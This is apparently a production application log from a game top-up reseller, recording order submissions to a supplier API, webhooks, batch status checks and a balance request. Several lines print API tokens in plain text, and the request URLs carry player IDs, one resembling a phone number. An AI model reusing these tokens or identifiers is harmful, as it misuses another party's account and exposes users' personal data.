[2026-03-24 19:12:35] production.INFO: Operation sent successfully {"operation_id":164086,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ylwU-1774368755","amount":6.092349999999999710098563809879124164581298828125,"status":"processing","product":"5.77 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 19:12:35"}},"processed_data":{"order_number":"ORD-ylwU-1774368755","amount":6.092349999999999710098563809879124164581298828125,"status":"processing","product":"5.77 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 19:13:23] production.INFO: Constructing job for order: 179196  
[2026-03-24 19:13:26] production.INFO: Handling job for order: 179196  
[2026-03-24 19:13:26] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:13:26] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:13:26] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=b6d17454-ce8d-4db5-8d17-a05d81be17c7&Player_ID=13888517654  
[2026-03-24 19:13:26] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=b6d17454-ce8d-4db5-8d17-a05d81be17c7&Player_ID=13888517654","has_body":false} 
[2026-03-24 19:13:27] production.INFO: Operation sent successfully {"operation_id":164087,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Y9SPH-1774368807","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 19:13:27"}},"processed_data":{"order_number":"ORD-Y9SPH-1774368807","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 19:13:48] production.INFO: Constructing job for order: 179197  
[2026-03-24 19:13:51] production.INFO: Handling job for order: 179197  
[2026-03-24 19:13:51] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:13:51] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:13:51] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=cd7cb1d1-4fdd-49f8-86e5-b0ce827d0f02&Player_ID=51800179115  
[2026-03-24 19:13:51] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=cd7cb1d1-4fdd-49f8-86e5-b0ce827d0f02&Player_ID=51800179115","has_body":false} 
[2026-03-24 19:13:52] production.INFO: Operation sent successfully {"operation_id":164088,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-MMAiN-1774368832","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:13:52"}},"processed_data":{"order_number":"ORD-MMAiN-1774368832","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 19:14:00] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Y9SPH-1774368807","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:14:00] production.INFO: Processed webhook data (normalized) {"id":"ORD-Y9SPH-1774368807","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:14:00] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:14:00] production.INFO: SendAcceptReject: Notification queued {"user_id":1690,"notification_type":"order_approved","reference_id":179196} 
[2026-03-24 19:14:00] production.INFO: Order updated successfully. Order ID: 179196, Status: completed  
[2026-03-24 19:14:00] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Y9SPH-1774368807","status":"completed","codes_count":0} 
[2026-03-24 19:14:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1690  
[2026-03-24 19:14:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04"} 
[2026-03-24 19:14:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","total_operations":4,"sites_count":2} 
[2026-03-24 19:14:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-tmRYG-1774365381","ORD-MMAiN-1774368832"]} 
[2026-03-24 19:14:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:14:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 19:14:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:14:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 19:14:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 19:14:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"count":1} 
[2026-03-24 19:14:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"count":1} 
[2026-03-24 19:14:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"user_id":52,"notification_type":"order_approved","reference_id":179197} 
[2026-03-24 19:14:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:14:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:14:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":1,"errors":0} 
[2026-03-24 19:14:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":1,"errors":0} 
[2026-03-24 19:14:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":2,"order_ids":["ORD-mkRUR-1774368745","ORD-ylwU-1774368755"]} 
[2026-03-24 19:14:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:14:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":2} 
[2026-03-24 19:14:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylwU-1774368755","operation_id":164086,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 19:14:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylwU-1774368755","operation_id":164086,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 19:14:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylwU-1774368755","operation_id":164086,"count":2} 
[2026-03-24 19:14:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylwU-1774368755","operation_id":164086,"count":2} 
[2026-03-24 19:14:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylwU-1774368755","operation_id":164086,"user_id":1056,"notification_type":"order_approved","reference_id":179191} 
[2026-03-24 19:14:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylwU-1774368755","operation_id":164086,"user_id":1056,"notification_type":"order_approved","reference_id":179193} 
[2026-03-24 19:14:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylwU-1774368755","operation_id":164086,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:14:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylwU-1774368755","operation_id":164086,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:14:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylwU-1774368755","operation_id":164086,"processed":2,"errors":0} 
[2026-03-24 19:14:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylwU-1774368755","operation_id":164086,"processed":2,"errors":0} 
[2026-03-24 19:14:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"R2nQThDMVJgOmUWEsoY4VcvqVto5hwI2","execution_time":"2026-03-24 19:14:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylwU-1774368755","operation_id":164086} 
[2026-03-24 19:14:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 52  
[2026-03-24 19:14:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 19:14:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 19:14:07] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-MMAiN-1774368832","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:14:07] production.INFO: Processed webhook data (normalized) {"id":"ORD-MMAiN-1774368832","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:14:07] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:14:07] production.ERROR: Order not found or already processed. External ID: ORD-MMAiN-1774368832  
[2026-03-24 19:14:07] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-MMAiN-1774368832","status":"completed","codes_count":0} 
[2026-03-24 19:14:42] production.INFO: Constructing job for order: 179198  
[2026-03-24 19:14:43] production.INFO: Handling job for order: 179198  
[2026-03-24 19:14:43] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:14:43] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:14:43] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/45/params?qty=1&uuid=f46330df-c4bb-44ad-9959-6a495da96b87&Player_ID=0937657995  
[2026-03-24 19:14:43] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/45/params?qty=1&uuid=f46330df-c4bb-44ad-9959-6a495da96b87&Player_ID=0937657995","has_body":false} 
[2026-03-24 19:14:44] production.INFO: Operation sent successfully {"operation_id":164089,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ZyxTry-1774368884","amount":121.7664400000000028967406251467764377593994140625,"status":"processing","product":"115.38 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 19:14:44"}},"processed_data":{"order_number":"ORD-ZyxTry-1774368884","amount":121.7664400000000028967406251467764377593994140625,"status":"processing","product":"115.38 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 19:15:02] production.INFO: Executing GetProducts task...  
[2026-03-24 19:15:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 19:15:02] production.INFO: Executing GetProducts task...  
[2026-03-24 19:15:04] production.INFO: async() رجع: true  
[2026-03-24 19:15:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 19:15:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 19:15:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 19:15:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 19:15:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 19:15:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 19:15:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 19:15:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 19:15:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 19:15:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 19:15:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 19:16:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03"} 
[2026-03-24 19:16:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03","total_operations":2,"sites_count":2} 
[2026-03-24 19:16:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-tmRYG-1774365381"]} 
[2026-03-24 19:16:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:16:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 19:16:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:16:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 19:16:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 19:16:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":1,"order_ids":["ORD-ZyxTry-1774368884"]} 
[2026-03-24 19:16:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:16:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":1} 
[2026-03-24 19:16:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZyxTry-1774368884","operation_id":164089,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 19:16:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZyxTry-1774368884","operation_id":164089,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 19:16:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZyxTry-1774368884","operation_id":164089,"count":1} 
[2026-03-24 19:16:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZyxTry-1774368884","operation_id":164089,"count":1} 
[2026-03-24 19:16:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZyxTry-1774368884","operation_id":164089,"user_id":1551,"notification_type":"order_approved","reference_id":179198} 
[2026-03-24 19:16:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZyxTry-1774368884","operation_id":164089,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:16:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZyxTry-1774368884","operation_id":164089,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:16:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZyxTry-1774368884","operation_id":164089,"processed":1,"errors":0} 
[2026-03-24 19:16:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZyxTry-1774368884","operation_id":164089,"processed":1,"errors":0} 
[2026-03-24 19:16:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"N0XpcDU3ULhBFA2rWobqz8tSCH0N6iYn","execution_time":"2026-03-24 19:16:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZyxTry-1774368884","operation_id":164089} 
[2026-03-24 19:16:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1551  
[2026-03-24 19:16:28] production.INFO: Constructing job for order: 179199  
[2026-03-24 19:16:30] production.INFO: Handling job for order: 179199  
[2026-03-24 19:16:30] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:16:30] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:16:30] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/604/params?qty=10000&uuid=30bae5ee-37b2-4100-92c0-094d43771bf2&Player_ID=404300  
[2026-03-24 19:16:30] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/604/params?qty=10000&uuid=30bae5ee-37b2-4100-92c0-094d43771bf2&Player_ID=404300","has_body":false} 
[2026-03-24 19:16:31] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"800.0","mainamount":"800","operation_number":"600431018580","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpaltqahm1hb4s7R8bngW"}},"user_id":957} 
[2026-03-24 19:16:31] production.INFO: Operation sent successfully {"operation_id":164090,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-fOJclCB-1774368991","amount":0.9807339999999999946567186270840466022491455078125,"status":"processing","product":"Cocco Amount","game":"Cocco","notes":[],"created_at":"2026-03-24 19:16:31"}},"processed_data":{"order_number":"ORD-fOJclCB-1774368991","amount":0.9807339999999999946567186270840466022491455078125,"status":"processing","product":"Cocco Amount","game":"Cocco"}} 
[2026-03-24 19:16:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 19:16:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 19:16:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 19:16:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 19:16:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 19:16:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 19:16:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 19:16:34] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 19:16:34] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18679,"user_id":957,"amount":800.0,"admins_notified":7} 
[2026-03-24 19:16:36] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-fOJclCB-1774368991","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 19:16:36] production.INFO: Processed webhook data (normalized) {"id":"ORD-fOJclCB-1774368991","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 19:16:36] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:16:36] production.INFO: SendAcceptReject: Notification queued {"user_id":271,"notification_type":"order_approved","reference_id":179199} 
[2026-03-24 19:16:36] production.INFO: Order updated successfully. Order ID: 179199, Status: completed  
[2026-03-24 19:16:36] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-fOJclCB-1774368991","status":"completed","codes_count":0} 
[2026-03-24 19:16:37] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 271  
[2026-03-24 19:17:18] production.INFO: Constructing job for order: 179200  
[2026-03-24 19:17:19] production.INFO: Handling job for order: 179200  
[2026-03-24 19:17:19] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:17:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:17:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=68580b76-1a19-414c-a9fa-9490b2a551c8&Player_ID=52114091781  
[2026-03-24 19:17:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=68580b76-1a19-414c-a9fa-9490b2a551c8&Player_ID=52114091781","has_body":false} 
[2026-03-24 19:17:20] production.INFO: Operation sent successfully {"operation_id":164091,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-oyfgV-1774369040","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:17:20"}},"processed_data":{"order_number":"ORD-oyfgV-1774369040","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 19:17:34] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-oyfgV-1774369040","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:17:34] production.INFO: Processed webhook data (normalized) {"id":"ORD-oyfgV-1774369040","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:17:34] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
